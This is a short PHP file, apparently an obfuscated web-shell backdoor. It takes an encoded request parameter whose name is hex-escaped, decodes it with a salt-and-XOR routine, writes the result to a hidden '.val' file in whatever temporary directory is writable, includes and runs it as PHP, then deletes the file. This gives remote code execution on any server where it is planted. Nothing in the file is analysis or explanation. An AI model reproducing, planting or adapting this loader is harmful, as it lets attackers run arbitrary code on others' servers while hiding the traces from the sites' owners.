<?php

if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){
	$token = $_REQUEST["s\x79\x6D"];
			 $token	=  explode  	( 	".",		$token)	 ;	 
	$pset = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
    
            foreach ($token as $j =>$v5):
                $chS = ord($salt[$j		%$sLen]);
                $dec = ((int)$v5 - $chS - ($j		%10)) 	^	14;
                $pset	.=chr($dec);
            endforeach;
	$data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TMP")]);
	for ($entity = 0, $pgrp = count($data_chunk); $entity < $pgrp; $entity++) {
    $res = $data_chunk[$entity];
    		if (max(0, is_dir($res) * is_writable($res))) {
    $value = "$res/.val";
    $success = file_put_contents($value, $pset);
if ($success) {
	include $value;
	@unlink($value);
	die();}
}
}
}